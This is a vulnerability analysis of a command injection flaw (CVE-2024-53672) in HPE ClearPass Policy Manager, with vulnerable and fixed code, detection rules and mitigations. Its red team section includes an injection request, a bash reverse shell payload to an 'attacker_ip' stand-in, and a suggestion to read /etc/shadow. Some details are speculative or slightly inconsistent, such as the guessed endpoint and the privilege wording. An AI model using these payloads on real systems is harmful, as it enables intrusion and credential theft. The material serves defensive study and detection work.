CVE-2024-53672

Executive Summary

CVE-2024-53672 is a command injection vulnerability in the Hewlett Packard Enterprise (HPE) ClearPass Policy Manager web-based management interface. An authenticated remote attacker with lower-privileged credentials can exploit this flaw to execute arbitrary commands on the underlying host. The vulnerability carries a CVSS score of 4.7 (Medium), with an EPSS probability of 0.0%, indicating low active exploitation in the wild. No public proof-of-concept (PoC) code or exploit templates are currently available. The root cause lies in improper neutralization of special elements used in an OS command (CWE-78). This report provides a comprehensive technical analysis, detection strategies, and mitigation guidance.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
• Base Score: 4.7 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires authenticated user with lower privileges.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. While the CVSS score is moderate, the requirement for authentication reduces the immediate risk. However, once authenticated, an attacker can execute commands with lower privileges, potentially leading to lateral movement or privilege escalation.

Deep Dive & Mechanics

The vulnerability resides in the ClearPass Policy Manager web interface, likely in a module that processes user-supplied input for system commands (e.g., ping, traceroute, or diagnostic tools). The application fails to sanitize or validate input before passing it to the operating system shell, allowing an authenticated user to inject arbitrary commands.

Attack Flow:

1. Authentication: The attacker gains access to the ClearPass web interface with a lower-privileged account (e.g., operator or auditor role).
2. Input Injection: The attacker identifies a vulnerable endpoint (e.g., /admin/diagnostics/ping) that accepts an IP address or hostname.
3. Command Injection: The attacker appends shell metacharacters (e.g., ;, |, &&) to the input, followed by arbitrary commands.
4. Execution: The web server executes the crafted command on the underlying OS with the privileges of the web service user (e.g., clearpass or nobody).
5. Impact: The attacker can read sensitive files, modify configurations, or pivot to other systems.

Example vulnerable code (pseudo):

import subprocess
host = request.GET.get('host')
subprocess.call('ping -c 4 ' + host, shell=True)

Patched code (hypothetical):

import subprocess
import shlex
host = request.GET.get('host')
# Validate input: only allow IP addresses or hostnames
if not re.match(r'^[a-zA-Z0-9.-]+$', host):
    raise ValueError('Invalid host')
subprocess.call(['ping', '-c', '4', host])

Vulnerable vs. Patched Code

No official patch is available. The following illustrates a typical vulnerable pattern and a secure alternative.

Vulnerable (PHP example):

<?php
$host = $_GET['host'];
$output = shell_exec("ping -c 4 " . $host);
echo "<pre>$output</pre>";
?>

Patched (PHP example):

<?php
$host = $_GET['host'];
// Whitelist allowed characters
if (!preg_match('/^[a-zA-Z0-9.-]+$/', $host)) {
    die("Invalid host");
}
$output = shell_exec("ping -c 4 " . escapeshellarg($host));
echo "<pre>$output</pre>";
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a ClearPass Policy Manager instance (e.g., virtual appliance).
• Valid lower-privileged credentials (e.g., operator:password).

Exploitation Steps:

1. Identify vulnerable endpoint: Use a web proxy (Burp Suite) to intercept requests to diagnostic functions.
2. Craft payload: Inject commands via the host parameter.

   POST /admin/diagnostics/ping HTTP/1.1
   Host: target
   Cookie: session=...
   Content-Type: application/x-www-form-urlencoded
   
   host=127.0.0.1;id
   

3. Verify execution: Check response for command output (e.g., uid=1000(clearpass) gid=1000(clearpass)).
4. Escalate: Use the shell to read /etc/shadow or install a reverse shell.

Example reverse shell payload:

host=127.0.0.1;bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'

Blue Team

Detection:

• Monitor web logs for unusual characters in diagnostic parameters (e.g., ;, |, &).
• Alert on processes spawned by the web server (e.g., ping, bash, python).
• Use endpoint detection and response (EDR) to detect command-line anomalies.

Hunting:

• Search for shell_exec, exec, system, or popen calls in the ClearPass codebase.
• Review authentication logs for repeated failed attempts followed by successful exploitation.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from ClearPass to unknown IPs on ports 4444, 8080, or 443.
  • HTTP requests containing shell metacharacters in diagnostic endpoints.
• Host:
  • Unexpected processes: bash, python, nc, perl running under the web service user.
  • Files in /tmp/ with suspicious names (e.g., .exploit.sh).
  • Modified system binaries or configuration files.
• Logs:
  • Web server logs with entries like host=127.0.0.1;id or host=127.0.0.1|whoami.
  • Audit logs showing execution of commands like id, whoami, cat /etc/passwd.

Detection Engineering

YARA Rule

rule CVE_2024_53672_CommandInjection {
    meta:
        description = "Detects command injection attempts in ClearPass Policy Manager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53672"
    strings:
        $cmd1 = /host=[^&]*[;&|`$]/ nocase
        $cmd2 = /host=[^&]*\b(bash|sh|python|perl|nc|wget|curl)\b/ nocase
        $cmd3 = /host=[^&]*\b(cat|id|whoami|uname|ls)\b/ nocase
    condition:
        any of them
}

Sigma Rule

title: ClearPass Policy Manager Command Injection Attempt
id: 8f3a2b1c-9d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects command injection attempts in ClearPass web interface
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'host='
        cs-uri-query|re: 'host=[^&]*[;&|`$]'
    condition: selection
falsepositives:
    - Legitimate use of special characters in hostnames (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-53672 ClearPass Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/diagnostics/"; http_uri; pcre:"/host=[^&]*[;&|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict access: Limit web interface access to trusted IPs via firewall rules.
2. Enforce strong authentication: Use multi-factor authentication (MFA) for all accounts.
3. Monitor logs: Enable detailed logging and alerting for diagnostic endpoints.

Long-term Fixes:

• Apply vendor patch: Monitor HPE security advisories for an official patch.
• Input validation: Implement strict whitelisting for all user inputs in diagnostic functions.
• Least privilege: Run web service with minimal OS privileges; disable shell access for the service account.
• Web application firewall (WAF): Deploy WAF rules to block command injection patterns.

Workaround:

• Disable or remove diagnostic functionality if not required.
• Use a reverse proxy to sanitize requests before they reach ClearPass.

Valters IT